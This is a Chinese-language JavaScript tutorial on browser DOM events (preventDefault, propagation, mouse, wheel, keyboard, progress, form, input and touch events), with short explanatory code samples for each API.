Event.preventDefault方法取消浏览器对当前事件的默认行为。比如点击链接后,浏览器默认会跳转到另一个页面,使用这个方法以后,就不会跳转了;再比如,按一下空格键,页面向下滚动一段距离,使用这个方法以后也不会滚动了。该方法生效的前提是,事件对象的cancelable属性为true,如果为false,调用该方法没有任何效果。

注意,该方法只是取消事件对当前元素的默认影响,不会阻止事件的传播。如果要阻止传播,可以使用stopPropagation()stopImmediatePropagation()方法。

1
2
3
4
5
6
7
8
9
// HTML 代码为
// <input type="checkbox" id="my-checkbox" />
var cb = document.getElementById('my-checkbox');

cb.addEventListener(
'click',
function (e){ e.preventDefault(); },
false
);

上面代码中,浏览器的默认行为是单击会选中单选框,取消这个行为,就导致无法选中单选框。

利用这个方法,可以为文本输入框设置校验条件。如果用户的输入不符合条件,就无法将字符输入文本框。

1
2
3
4
5
6
7
8
9
10
// HTML 代码为
// <input type="text" id="my-input" />
var input = document.getElementById('my-input');
input.addEventListener('keypress', checkName, false);

function checkName(e) {
if (e.charCode < 97 || e.charCode > 122) {
e.preventDefault();
}
}

上面代码为文本框的keypress事件设定监听函数后,将只能输入小写字母,否则输入事件的默认行为(写入文本框)将被取消,导致不能向文本框输入内容。

Event.stopPropagation()

stopPropagation方法阻止事件在 DOM 中继续传播,防止再触发定义在别的节点上的监听函数,但是不包括在当前节点上其他的事件监听函数。

1
2
3
4
5
function stopEvent(e) {
e.stopPropagation();
}

el.addEventListener('click', stopEvent, false);

上面代码中,click事件将不会进一步冒泡到el节点的父节点。

Event.stopImmediatePropagation()

Event.stopImmediatePropagation方法阻止同一个事件的其他监听函数被调用,不管监听函数定义在当前节点还是其他节点。也就是说,该方法阻止事件的传播,比Event.stopPropagation()更彻底。

如果同一个节点对于同一个事件指定了多个监听函数,这些函数会根据添加的顺序依次调用。只要其中有一个监听函数调用了Event.stopImmediatePropagation方法,其他的监听函数就不会再执行了。

1
2
3
4
5
6
7
8
9
10
function l1(e){
e.stopImmediatePropagation();
}

function l2(e){
console.log('hello world');
}

el.addEventListener('click', l1, false);
el.addEventListener('click', l2, false);

上面代码在el节点上,为click事件添加了两个监听函数l1l2。由于l1调用了event.stopImmediatePropagation方法,所以l2不会被调用。

Event.composedPath()

Event.composedPath()返回一个数组,成员是事件的最底层节点和依次冒泡经过的所有上层节点。

1
2
3
4
5
6
7
8
9
10
11
// HTML 代码如下
// <div>
// <p>Hello</p>
// </div>
var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', function (e) {
console.log(e.composedPath());
}, false);
// [p, div, body, html, document, Window]

上面代码中,click事件的最底层节点是p,向上依次是divbodyhtmldocumentWindow

鼠标事件

鼠标事件的种类

鼠标事件指与鼠标相关的事件,继承了MouseEvent接口。具体的事件主要有以下一些。

  • click:按下鼠标(通常是按下主按钮)时触发。
  • dblclick:在同一个元素上双击鼠标时触发。
  • mousedown:按下鼠标键时触发。
  • mouseup:释放按下的鼠标键时触发。
  • mousemove:当鼠标在一个节点内部移动时触发。当鼠标持续移动时,该事件会连续触发。为了避免性能问题,建议对该事件的监听函数做一些限定,比如限定一段时间内只能运行一次。
  • mouseenter:鼠标进入一个节点时触发,进入子节点不会触发这个事件(详见后文)。
  • mouseover:鼠标进入一个节点时触发,进入子节点会再一次触发这个事件(详见后文)。
  • mouseout:鼠标离开一个节点时触发,离开父节点也会触发这个事件(详见后文)。
  • mouseleave:鼠标离开一个节点时触发,离开父节点不会触发这个事件(详见后文)。
  • contextmenu:按下鼠标右键时(上下文菜单出现前)触发,或者按下“上下文菜单键”时触发。
  • wheel:滚动鼠标的滚轮时触发,该事件继承的是WheelEvent接口。

click事件指的是,用户在同一个位置先完成mousedown动作,再完成mouseup动作。因此,触发顺序是,mousedown首先触发,mouseup接着触发,click最后触发。

dblclick事件则会在mousedownmouseupclick之后触发。

mouseover事件和mouseenter事件,都是鼠标进入一个节点时触发。两者的区别是,mouseenter事件只触发一次,而只要鼠标在节点内部移动,mouseover事件会在子节点上触发多次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* HTML 代码如下
<ul>
<li>item 1</li>
<li>item 2</li>
<li>item 3</li>
</ul>
*/

var ul = document.querySelector('ul');

// 进入 ul 节点以后,mouseenter 事件只会触发一次
// 以后只要鼠标在节点内移动,都不会再触发这个事件
// event.target 是 ul 节点
ul.addEventListener('mouseenter', function (event) {
event.target.style.color = 'purple';
setTimeout(function () {
event.target.style.color = '';
}, 500);
}, false);

// 进入 ul 节点以后,只要在子节点上移动,mouseover 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseover', function (event) {
event.target.style.color = 'orange';
setTimeout(function () {
event.target.style.color = '';
}, 500);
}, false);

上面代码中,在父节点内部进入子节点,不会触发mouseenter事件,但是会触发mouseover事件。

mouseout事件和mouseleave事件,都是鼠标离开一个节点时触发。两者的区别是,在父元素内部离开一个子元素时,mouseleave事件不会触发,而mouseout事件会触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* HTML 代码如下
<ul>
<li>item 1</li>
<li>item 2</li>
<li>item 3</li>
</ul>
*/

var ul = document.querySelector('ul');

// 先进入 ul 节点,然后在节点内部移动,不会触发 mouseleave 事件
// 只有离开 ul 节点时,触发一次 mouseleave
// event.target 是 ul 节点
ul.addEventListener('mouseleave', function (event) {
event.target.style.color = 'purple';
setTimeout(function () {
event.target.style.color = '';
}, 500);
}, false);

// 先进入 ul 节点,然后在节点内部移动,mouseout 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseout', function (event) {
event.target.style.color = 'orange';
setTimeout(function () {
event.target.style.color = '';
}, 500);
}, false);

上面代码中,在父节点内部离开子节点,不会触发mouseleave事件,但是会触发mouseout事件。

MouseEvent 接口概述

MouseEvent接口代表了鼠标相关的事件,单击(click)、双击(dblclick)、松开鼠标键(mouseup)、按下鼠标键(mousedown)等动作,所产生的事件对象都是MouseEvent实例。此外,滚轮事件和拖拉事件也是MouseEvent实例。

MouseEvent接口继承了Event接口,所以拥有Event的所有属性和方法。它还有自己的属性和方法。

浏览器原生提供一个MouseEvent构造函数,用于新建一个MouseEvent实例。

1
var event = new MouseEvent(type, options);

MouseEvent构造函数接受两个参数。第一个参数是字符串,表示事件名称;第二个参数是一个事件配置对象,该参数可选。除了Event接口的实例配置属性,该对象可以配置以下属性,所有属性都是可选的。

  • screenX:数值,鼠标相对于屏幕的水平位置(单位像素),默认值为0,设置该属性不会移动鼠标。
  • screenY:数值,鼠标相对于屏幕的垂直位置(单位像素),其他与screenX相同。
  • clientX:数值,鼠标相对于程序窗口的水平位置(单位像素),默认值为0,设置该属性不会移动鼠标。
  • clientY:数值,鼠标相对于程序窗口的垂直位置(单位像素),其他与clientX相同。
  • ctrlKey:布尔值,是否同时按下了 Ctrl 键,默认值为false
  • shiftKey:布尔值,是否同时按下了 Shift 键,默认值为false
  • altKey:布尔值,是否同时按下 Alt 键,默认值为false
  • metaKey:布尔值,是否同时按下 Meta 键,默认值为false
  • button:数值,表示按下了哪一个鼠标按键,默认值为0,表示按下主键(通常是鼠标的左键)或者当前事件没有定义这个属性;1表示按下辅助键(通常是鼠标的中间键),2表示按下次要键(通常是鼠标的右键)。
  • buttons:数值,表示按下了鼠标的哪些键,是一个三个比特位的二进制值,默认为0(没有按下任何键)。1(二进制001)表示按下主键(通常是左键),2(二进制010)表示按下次要键(通常是右键),4(二进制100)表示按下辅助键(通常是中间键)。因此,如果返回3(二进制011)就表示同时按下了左键和右键。
  • relatedTarget:节点对象,表示事件的相关节点,默认为nullmouseentermouseover事件时,表示鼠标刚刚离开的那个元素节点;mouseoutmouseleave事件时,表示鼠标正在进入的那个元素节点。

下面是一个例子。

1
2
3
4
5
6
7
8
function simulateClick() {
var event = new MouseEvent('click', {
'bubbles': true,
'cancelable': true
});
var cb = document.getElementById('checkbox');
cb.dispatchEvent(event);
}

上面代码生成一个鼠标点击事件,并触发该事件。

MouseEvent 接口的实例属性

MouseEvent.altKey,MouseEvent.ctrlKey,MouseEvent.metaKey,MouseEvent.shiftKey

MouseEvent.altKeyMouseEvent.ctrlKeyMouseEvent.metaKeyMouseEvent.shiftKey这四个属性都返回一个布尔值,表示事件发生时,是否按下对应的键。它们都是只读属性。

  • altKey属性:Alt 键
  • ctrlKey属性:Ctrl 键
  • metaKey属性:Meta 键(Mac 键盘是一个四瓣的小花,Windows 键盘是 Windows 键)
  • shiftKey属性:Shift 键
1
2
3
4
5
6
7
8
// HTML 代码如下
// <body onclick="showKey(event)">
function showKey(e) {
console.log('ALT key pressed: ' + e.altKey);
console.log('CTRL key pressed: ' + e.ctrlKey);
console.log('META key pressed: ' + e.metaKey);
console.log('SHIFT key pressed: ' + e.shiftKey);
}

上面代码中,点击网页会输出是否同时按下对应的键。

MouseEvent.button,MouseEvent.buttons

MouseEvent.button属性返回一个数值,表示事件发生时按下了鼠标的哪个键。该属性只读。

  • 0:按下主键(通常是左键),或者该事件没有初始化这个属性(比如mousemove事件)。
  • 1:按下辅助键(通常是中键或者滚轮键)。
  • 2:按下次键(通常是右键)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// HTML 代码为
// <button onmouseup="whichButton(event)">点击</button>
var whichButton = function (e) {
switch (e.button) {
case 0:
console.log('Left button clicked.');
break;
case 1:
console.log('Middle button clicked.');
break;
case 2:
console.log('Right button clicked.');
break;
default:
console.log('Unexpected code: ' + e.button);
}
}

MouseEvent.buttons属性返回一个三个比特位的值,表示同时按下了哪些键。它用来处理同时按下多个鼠标键的情况。该属性只读。

  • 1:二进制为001(十进制的1),表示按下左键。
  • 2:二进制为010(十进制的2),表示按下右键。
  • 4:二进制为100(十进制的4),表示按下中键或滚轮键。

同时按下多个键的时候,每个按下的键对应的比特位都会有值。比如,同时按下左键和右键,会返回3(二进制为011)。

MouseEvent.clientX,MouseEvent.clientY

MouseEvent.clientX属性返回鼠标位置相对于浏览器窗口左上角的水平坐标(单位像素),MouseEvent.clientY属性返回垂直坐标。这两个属性都是只读属性。

1
2
3
4
5
6
7
8
// HTML 代码为
// <body onmousedown="showCoords(event)">
function showCoords(evt){
console.log(
'clientX value: ' + evt.clientX + '\n' +
'clientY value: ' + evt.clientY + '\n'
);
}

这两个属性还分别有一个别名MouseEvent.xMouseEvent.y

MouseEvent.movementX,MouseEvent.movementY

MouseEvent.movementX属性返回当前位置与上一个mousemove事件之间的水平距离(单位像素)。数值上,它等于下面的计算公式。

1
currentEvent.movementX = currentEvent.screenX - previousEvent.screenX

MouseEvent.movementY属性返回当前位置与上一个mousemove事件之间的垂直距离(单位像素)。数值上,它等于下面的计算公式。

1
currentEvent.movementY = currentEvent.screenY - previousEvent.screenY。

这两个属性都是只读属性。

MouseEvent.screenX,MouseEvent.screenY

MouseEvent.screenX属性返回鼠标位置相对于屏幕左上角的水平坐标(单位像素),MouseEvent.screenY属性返回垂直坐标。这两个属性都是只读属性。

1
2
3
4
5
6
7
8
// HTML 代码如下
// <body onmousedown="showCoords(event)">
function showCoords(evt) {
console.log(
'screenX value: ' + evt.screenX + '\n',
'screenY value: ' + evt.screenY + '\n'
);
}

MouseEvent.offsetX,MouseEvent.offsetY

MouseEvent.offsetX属性返回鼠标位置与目标节点左侧的padding边缘的水平距离(单位像素),MouseEvent.offsetY属性返回与目标节点上方的padding边缘的垂直距离。这两个属性都是只读属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* HTML 代码如下
<style>
p {
width: 100px;
height: 100px;
padding: 100px;
}
</style>
<p>Hello</p>
*/
var p = document.querySelector('p');
p.addEventListener(
'click',
function (e) {
console.log(e.offsetX);
console.log(e.offsetY);
},
false
);

上面代码中,鼠标如果在p元素的中心位置点击,会返回150 150。因此中心位置距离左侧和上方的padding边缘,等于padding的宽度(100像素)加上元素内容区域一半的宽度(50像素)。

MouseEvent.pageX,MouseEvent.pageY

MouseEvent.pageX属性返回鼠标位置与文档左侧边缘的距离(单位像素),MouseEvent.pageY属性返回与文档上侧边缘的距离(单位像素)。它们的返回值都包括文档不可见的部分。这两个属性都是只读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* HTML 代码如下
<style>
body {
height: 2000px;
}
</style>
*/
document.body.addEventListener(
'click',
function (e) {
console.log(e.pageX);
console.log(e.pageY);
},
false
);

上面代码中,页面高度为2000像素,会产生垂直滚动条。滚动到页面底部,点击鼠标输出的pageY值会接近2000。

MouseEvent.relatedTarget

MouseEvent.relatedTarget属性返回事件的相关节点。对于那些没有相关节点的事件,该属性返回null。该属性只读。

下表列出不同事件的target属性值和relatedTarget属性值义。

事件名称 target 属性 relatedTarget 属性
focusin 接受焦点的节点 丧失焦点的节点
focusout 丧失焦点的节点 接受焦点的节点
mouseenter 将要进入的节点 将要离开的节点
mouseleave 将要离开的节点 将要进入的节点
mouseout 将要离开的节点 将要进入的节点
mouseover 将要进入的节点 将要离开的节点
dragenter 将要进入的节点 将要离开的节点
dragexit 将要离开的节点 将要进入的节点

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
HTML 代码如下
<div id="outer" style="height:50px;width:50px;border-width:1px solid black;">
<div id="inner" style="height:25px;width:25px;border:1px solid black;"></div>
</div>
*/

var inner = document.getElementById('inner');
inner.addEventListener('mouseover', function (event) {
console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
}, false);
inner.addEventListener('mouseenter', function (event) {
console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
});
inner.addEventListener('mouseout', function () {
console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});
inner.addEventListener("mouseleave", function (){
console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});

// 鼠标从 outer 进入inner,输出
// 进入inner 离开outer
// 进入inner 离开outer

// 鼠标从 inner进入 outer,输出
// 离开inner 进入outer
// 离开inner 进入outer

MouseEvent 接口的实例方法

MouseEvent.getModifierState()

MouseEvent.getModifierState方法返回一个布尔值,表示有没有按下特定的功能键。它的参数是一个表示功能键的字符串。

1
2
3
document.addEventListener('click', function (e) {
console.log(e.getModifierState('CapsLock'));
}, false);

上面的代码可以了解用户是否按下了大写键。

WheelEvent 接口

概述

WheelEvent 接口继承了 MouseEvent 实例,代表鼠标滚轮事件的实例对象。目前,鼠标滚轮相关的事件只有一个wheel事件,用户滚动鼠标的滚轮,就生成这个事件的实例。

浏览器原生提供WheelEvent()构造函数,用来生成WheelEvent实例。

1
var wheelEvent = new WheelEvent(type, options);

WheelEvent()构造函数可以接受两个参数,第一个是字符串,表示事件类型,对于滚轮事件来说,这个值目前只能是wheel。第二个参数是事件的配置对象。该对象的属性除了EventUIEvent的配置属性以外,还可以接受以下几个属性,所有属性都是可选的。

  • deltaX:数值,表示滚轮的水平滚动量,默认值是 0.0。
  • deltaY:数值,表示滚轮的垂直滚动量,默认值是 0.0。
  • deltaZ:数值,表示滚轮的 Z 轴滚动量,默认值是 0.0。
  • deltaMode:数值,表示相关的滚动事件的单位,适用于上面三个属性。0表示滚动单位为像素,1表示单位为行,2表示单位为页,默认为0

实例属性

WheelEvent事件实例除了具有EventMouseEvent的实例属性和实例方法,还有一些自己的实例属性,但是没有自己的实例方法。

下面的属性都是只读属性。

  • WheelEvent.deltaX:数值,表示滚轮的水平滚动量。
  • WheelEvent.deltaY:数值,表示滚轮的垂直滚动量。
  • WheelEvent.deltaZ:数值,表示滚轮的 Z 轴滚动量。
  • WheelEvent.deltaMode:数值,表示上面三个属性的单位,0是像素,1是行,2是页。

键盘事件

键盘事件的种类

键盘事件由用户击打键盘触发,主要有keydownkeypresskeyup三个事件,它们都继承了KeyboardEvent接口。

  • keydown:按下键盘时触发。
  • keypress:按下有值的键时触发,即按下 Ctrl、Alt、Shift、Meta 这样无值的键,这个事件不会触发。对于有值的键,按下时先触发keydown事件,再触发这个事件。
  • keyup:松开键盘时触发该事件。

如果用户一直按键不松开,就会连续触发键盘事件,触发的顺序如下。

  1. keydown
  2. keypress
  3. keydown
  4. keypress
  5. …(重复以上过程)
  6. keyup

KeyboardEvent 接口概述

KeyboardEvent接口用来描述用户与键盘的互动。这个接口继承了Event接口,并且定义了自己的实例属性和实例方法。

浏览器原生提供KeyboardEvent构造函数,用来新建键盘事件的实例。

1
new KeyboardEvent(type, options)

KeyboardEvent构造函数接受两个参数。第一个参数是字符串,表示事件类型;第二个参数是一个事件配置对象,该参数可选。除了Event接口提供的属性,还可以配置以下字段,它们都是可选。

  • key:字符串,当前按下的键,默认为空字符串。
  • code:字符串,表示当前按下的键的字符串形式,默认为空字符串。
  • location:整数,当前按下的键的位置,默认为0
  • ctrlKey:布尔值,是否按下 Ctrl 键,默认为false
  • shiftKey:布尔值,是否按下 Shift 键,默认为false
  • altKey:布尔值,是否按下 Alt 键,默认为false
  • metaKey:布尔值,是否按下 Meta 键,默认为false
  • repeat:布尔值,是否重复按键,默认为false

KeyboardEvent 的实例属性

KeyboardEvent.altKey,KeyboardEvent.ctrlKey,KeyboardEvent.metaKey,KeyboardEvent.shiftKey

以下属性都是只读属性,返回一个布尔值,表示是否按下对应的键。

  • KeyboardEvent.altKey:是否按下 Alt 键
  • KeyboardEvent.ctrlKey:是否按下 Ctrl 键
  • KeyboardEvent.metaKey:是否按下 meta 键(Mac 系统是一个四瓣的小花,Windows 系统是 windows 键)
  • KeyboardEvent.shiftKey:是否按下 Shift 键

下面是一个示例。

1
2
3
4
5
6
7
8
function showChar(e) {
console.log('ALT: ' + e.altKey);
console.log('CTRL: ' + e.ctrlKey);
console.log('Meta: ' + e.metaKey);
console.log('Shift: ' + e.shiftKey);
}

document.body.addEventListener('keydown', showChar, false);

KeyboardEvent.code

KeyboardEvent.code属性返回一个字符串,表示当前按下的键的字符串形式。该属性只读。

下面是一些常用键的字符串形式,其他键请查文档

  • 数字键0 - 9:返回digital0 - digital9
  • 字母键A - z:返回KeyA - KeyZ
  • 功能键F1 - F12:返回 F1 - F12
  • 方向键:返回ArrowDownArrowUpArrowLeftArrowRight
  • Alt 键:返回AltLeftAltRight
  • Shift 键:返回ShiftLeftShiftRight
  • Ctrl 键:返回ControlLeftControlRight

KeyboardEvent.key

KeyboardEvent.key属性返回一个字符串,表示按下的键名。该属性只读。

如果按下的键代表可打印字符,则返回这个字符,比如数字、字母。

如果按下的键代表不可打印的特殊字符,则返回预定义的键值,比如 Backspace,Tab,Enter,Shift,Control,Alt,CapsLock,Esc,Spacebar,PageUp,PageDown,End,Home,Left,Right,Up,Down,PrintScreen,Insert,Del,Win,F1~F12,NumLock,Scroll 等。

如果同时按下一个控制键和一个符号键,则返回符号键的键名。比如,按下 Ctrl + a,则返回a;按下 Shift + a,则返回大写的A

如果无法识别键名,返回字符串Unidentified

KeyboardEvent.location

KeyboardEvent.location属性返回一个整数,表示按下的键处在键盘的哪一个区域。它可能取以下值。

  • 0:处在键盘的主区域,或者无法判断处于哪一个区域。
  • 1:处在键盘的左侧,只适用那些有两个位置的键(比如 Ctrl 和 Shift 键)。
  • 2:处在键盘的右侧,只适用那些有两个位置的键(比如 Ctrl 和 Shift 键)。
  • 3:处在数字小键盘。

KeyboardEvent.repeat

KeyboardEvent.repeat返回一个布尔值,代表该键是否被按着不放,以便判断是否重复这个键,即浏览器会持续触发keydownkeypress事件,直到用户松开手为止。

KeyboardEvent 的实例方法

KeyboardEvent.getModifierState()

KeyboardEvent.getModifierState()方法返回一个布尔值,表示是否按下或激活指定的功能键。它的常用参数如下。

  • Alt:Alt 键
  • CapsLock:大写锁定键
  • Control:Ctrl 键
  • Meta:Meta 键
  • NumLock:数字键盘开关键
  • Shift:Shift 键
1
2
3
4
5
6
7
if (
event.getModifierState('Control') +
event.getModifierState('Alt') +
event.getModifierState('Meta') > 1
) {
return;
}

上面代码表示,只要ControlAltMeta里面,同时按下任意两个或两个以上的键就返回。

进度事件

进度事件的种类

进度事件用来描述资源加载的进度,主要由 AJAX 请求、<img><audio><video><style><link>等外部资源的加载触发,继承了ProgressEvent接口。它主要包含以下几种事件。

  • abort:外部资源中止加载时(比如用户取消)触发。如果发生错误导致中止,不会触发该事件。
  • error:由于错误导致外部资源无法加载时触发。
  • load:外部资源加载成功时触发。
  • loadstart:外部资源开始加载时触发。
  • loadend:外部资源停止加载时触发,发生顺序排在errorabortload等事件的后面。
  • progress:外部资源加载过程中不断触发。
  • timeout:加载超时时触发。

注意,除了资源下载,文件上传也存在这些事件。

下面是一个例子。

1
2
3
4
5
6
7
image.addEventListener('load', function (event) {
image.classList.add('finished');
});

image.addEventListener('error', function (event) {
image.style.display = 'none';
});

上面代码在图片元素加载完成后,为图片元素添加一个finished的 Class。如果加载失败,就把图片元素的样式设置为不显示。

有时候,图片加载会在脚本运行之前就完成,尤其是当脚本放置在网页底部的时候,因此有可能loaderror事件的监听函数根本不会执行。所以,比较可靠的方式,是用complete属性先判断一下是否加载完成。

1
2
3
4
5
6
7
8
9
function loaded() {
// ...
}

if (image.complete) {
loaded();
} else {
image.addEventListener('load', loaded);
}

由于 DOM 的元素节点没有提供是否加载错误的属性,所以error事件的监听函数最好放在<img>元素的 HTML 代码中,这样才能保证发生加载错误时百分之百会执行。

1
<img src="/wrong/url" onerror="this.style.display='none';" />

loadend事件的监听函数,可以用来取代abort事件、load事件、error事件的监听函数,因为它总是在这些事件之后发生。

1
2
3
4
5
req.addEventListener('loadend', loadEnd, false);

function loadEnd(e) {
console.log('传输结束,成功失败未知');
}

loadend事件本身不提供关于进度结束的原因,但可以用它来做所有加载结束场景都需要做的一些操作。

另外,error事件有一个特殊的性质,就是不会冒泡。所以,子元素的error事件,不会触发父元素的error事件监听函数。

ProgressEvent 接口

ProgressEvent接口主要用来描述外部资源加载的进度,比如 AJAX 加载、<img><video><style><link>等外部资源加载。进度相关的事件都继承了这个接口。

浏览器原生提供了ProgressEvent()构造函数,用来生成事件实例。

1
new ProgressEvent(type, options)

ProgressEvent()构造函数接受两个参数。第一个参数是字符串,表示事件的类型,这个参数是必须的。第二个参数是一个配置对象,表示事件的属性,该参数可选。配置对象除了可以使用Event接口的配置属性,还可以使用下面的属性,所有这些属性都是可选的。

  • lengthComputable:布尔值,表示加载的总量是否可以计算,默认是false
  • loaded:整数,表示已经加载的量,默认是0
  • total:整数,表示需要加载的总量,默认是0

ProgressEvent具有对应的实例属性。

  • ProgressEvent.lengthComputable
  • ProgressEvent.loaded
  • ProgressEvent.total

如果ProgressEvent.lengthComputablefalseProgressEvent.total实际上是没有意义的。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
var p = new ProgressEvent('load', {
lengthComputable: true,
loaded: 30,
total: 100,
});

document.body.addEventListener('load', function (e) {
console.log('已经加载:' + (e.loaded / e.total) * 100 + '%');
});

document.body.dispatchEvent(p);
// 已经加载:30%

上面代码先构造一个load事件,抛出后被监听函数捕捉到。

下面是一个实际的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var xhr = new XMLHttpRequest();

xhr.addEventListener('progress', updateProgress, false);
xhr.addEventListener('load', transferComplete, false);
xhr.addEventListener('error', transferFailed, false);
xhr.addEventListener('abort', transferCanceled, false);

xhr.open();

function updateProgress(e) {
if (e.lengthComputable) {
var percentComplete = e.loaded / e.total;
} else {
console.log('不能计算进度');
}
}

function transferComplete(e) {
console.log('传输结束');
}

function transferFailed(evt) {
console.log('传输过程中发生错误');
}

function transferCanceled(evt) {
console.log('用户取消了传输');
}

上面是下载过程的进度事件,还存在上传过程的进度事件。这时所有监听函数都要放在XMLHttpRequest.upload对象上面。

1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();

xhr.upload.addEventListener('progress', updateProgress, false);
xhr.upload.addEventListener('load', transferComplete, false);
xhr.upload.addEventListener('error', transferFailed, false);
xhr.upload.addEventListener('abort', transferCanceled, false);

xhr.open();

表单事件

表单事件的种类

input 事件

input事件当<input><select><textarea>的值发生变化时触发。对于复选框(<input type=checkbox>)或单选框(<input type=radio>),用户改变选项时,也会触发这个事件。另外,对于打开contenteditable属性的元素,只要值发生变化,也会触发input事件。

input事件的一个特点,就是会连续触发,比如用户每按下一次按键,就会触发一次input事件。

input事件对象继承了InputEvent接口。

该事件跟change事件很像,不同之处在于input事件在元素的值发生变化后立即发生,而change在元素失去焦点时发生,而内容此时可能已经变化多次。也就是说,如果有连续变化,input事件会触发多次,而change事件只在失去焦点时触发一次。

下面是<select>元素的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* HTML 代码如下
<select id="mySelect">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
*/

function inputHandler(e) {
console.log(e.target.value)
}

var mySelect = document.querySelector('#mySelect');
mySelect.addEventListener('input', inputHandler);

上面代码中,改变下拉框选项时,会触发input事件,从而执行回调函数inputHandler

select 事件

select事件当在<input><textarea>里面选中文本时触发。

1
2
3
4
5
6
7
// HTML 代码如下
// <input id="test" type="text" value="Select me!" />

var elem = document.getElementById('test');
elem.addEventListener('select', function (e) {
console.log(e.type); // "select"
}, false);

选中的文本可以通过event.target元素的selectionDirectionselectionEndselectionStartvalue属性拿到。

change 事件

change事件当<input><select><textarea>的值发生变化时触发。它与input事件的最大不同,就是不会连续触发,只有当全部修改完成时才会触发,另一方面input事件必然伴随change事件。具体来说,分成以下几种情况。

  • 激活单选框(radio)或复选框(checkbox)时触发。
  • 用户提交时触发。比如,从下列列表(select)完成选择,在日期或文件输入框完成选择。
  • 当文本框或<textarea>元素的值发生改变,并且丧失焦点时触发。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
// HTML 代码如下
// <select size="1" onchange="changeEventHandler(event);">
// <option>chocolate</option>
// <option>strawberry</option>
// <option>vanilla</option>
// </select>

function changeEventHandler(event) {
console.log(event.target.value);
}

如果比较一下上面input事件的例子,你会发现对于<select>元素来说,inputchange事件基本是等价的。

invalid 事件

用户提交表单时,如果表单元素的值不满足校验条件,就会触发invalid事件。

1
2
3
4
<form>
<input type="text" required oninvalid="console.log('invalid input')" />
<button type="submit">提交</button>
</form>

上面代码中,输入框是必填的。如果不填,用户点击按钮提交时,就会触发输入框的invalid事件,导致提交被取消。

reset 事件,submit 事件

这两个事件发生在表单对象<form>上,而不是发生在表单的成员上。

reset事件当表单重置(所有表单成员变回默认值)时触发。

submit事件当表单数据向服务器提交时触发。注意,submit事件的发生对象是<form>元素,而不是<button>元素,因为提交的是表单,而不是按钮。

InputEvent 接口

InputEvent接口主要用来描述input事件的实例。该接口继承了Event接口,还定义了一些自己的实例属性和实例方法。

浏览器原生提供InputEvent()构造函数,用来生成实例对象。

1
new InputEvent(type, options)

InputEvent构造函数可以接受两个参数。第一个参数是字符串,表示事件名称,该参数是必需的。第二个参数是一个配置对象,用来设置事件实例的属性,该参数是可选的。配置对象的字段除了Event构造函数的配置属性,还可以设置下面的字段,这些字段都是可选的。

  • inputType:字符串,表示发生变更的类型(详见下文)。
  • data:字符串,表示插入的字符串。如果没有插入的字符串(比如删除操作),则返回null或空字符串。
  • dataTransfer:返回一个 DataTransfer 对象实例,该属性通常只在输入框接受富文本输入时有效。

InputEvent的实例属性主要就是上面三个属性,这三个实例属性都是只读的。

(1)InputEvent.data

InputEvent.data属性返回一个字符串,表示变动的内容。

1
2
3
4
5
6
7
8
// HTML 代码如下
// <input type="text" id="myInput">
var input = document.getElementById('myInput');
input.addEventListener('input', myFunction, false);

function myFunction(e) {
console.log(e.data);
}

上面代码中,如果手动在输入框里面输入abc,控制台会先输出a,再在下一行输出b,再在下一行输出c。然后选中abc,一次性将它们删除,控制台会输出null或一个空字符串。

(2)InputEvent.inputType

InputEvent.inputType属性返回一个字符串,表示字符串发生变更的类型。

对于常见情况,Chrome 浏览器的返回值如下。完整列表可以参考文档

  • 手动插入文本:insertText
  • 粘贴插入文本:insertFromPaste
  • 向后删除:deleteContentBackward
  • 向前删除:deleteContentForward

(3)InputEvent.dataTransfer

InputEvent.dataTransfer属性返回一个 DataTransfer 实例。该属性只在文本框接受粘贴内容(insertFromPaste)或拖拽内容(insertFromDrop)时才有效。

触摸事件

触摸操作概述

浏览器的触摸 API 由三个部分组成。

  • Touch:一个触摸点
  • TouchList:多个触摸点的集合
  • TouchEvent:触摸引发的事件实例

Touch接口的实例对象用来表示触摸点(一根手指或者一根触摸笔),包括位置、大小、形状、压力、目标元素等属性。有时,触摸动作由多个触摸点(多根手指)组成,多个触摸点的集合由TouchList接口的实例对象表示。TouchEvent接口的实例对象代表由触摸引发的事件,只有触摸屏才会引发这一类事件。

很多时候,触摸事件和鼠标事件同时触发,即使这个时候并没有用到鼠标。这是为了让那些只定义鼠标事件、没有定义触摸事件的代码,在触摸屏的情况下仍然能用。如果想避免这种情况,可以用event.preventDefault方法阻止发出鼠标事件。

Touch 接口

Touch 接口概述

Touch 接口代表单个触摸点。触摸点可能是一根手指,也可能是一根触摸笔。

浏览器原生提供Touch构造函数,用来生成Touch实例。

1
var touch = new Touch(touchOptions);

Touch构造函数接受一个配置对象作为参数,它有以下属性。

  • identifier:必需,类型为整数,表示触摸点的唯一 ID。
  • target:必需,类型为元素节点,表示触摸点开始时所在的网页元素。
  • clientX:可选,类型为数值,表示触摸点相对于浏览器窗口左上角的水平距离,默认为0。
  • clientY:可选,类型为数值,表示触摸点相对于浏览器窗口左上角的垂直距离,默认为0。
  • screenX:可选,类型为数值,表示触摸点相对于屏幕左上角的水平距离,默认为0。
  • screenY:可选,类型为数值,表示触摸点相对于屏幕左上角的垂直距离,默认为0。
  • pageX:可选,类型为数值,表示触摸点相对于网页左上角的水平位置(即包括页面的滚动距离),默认为0。
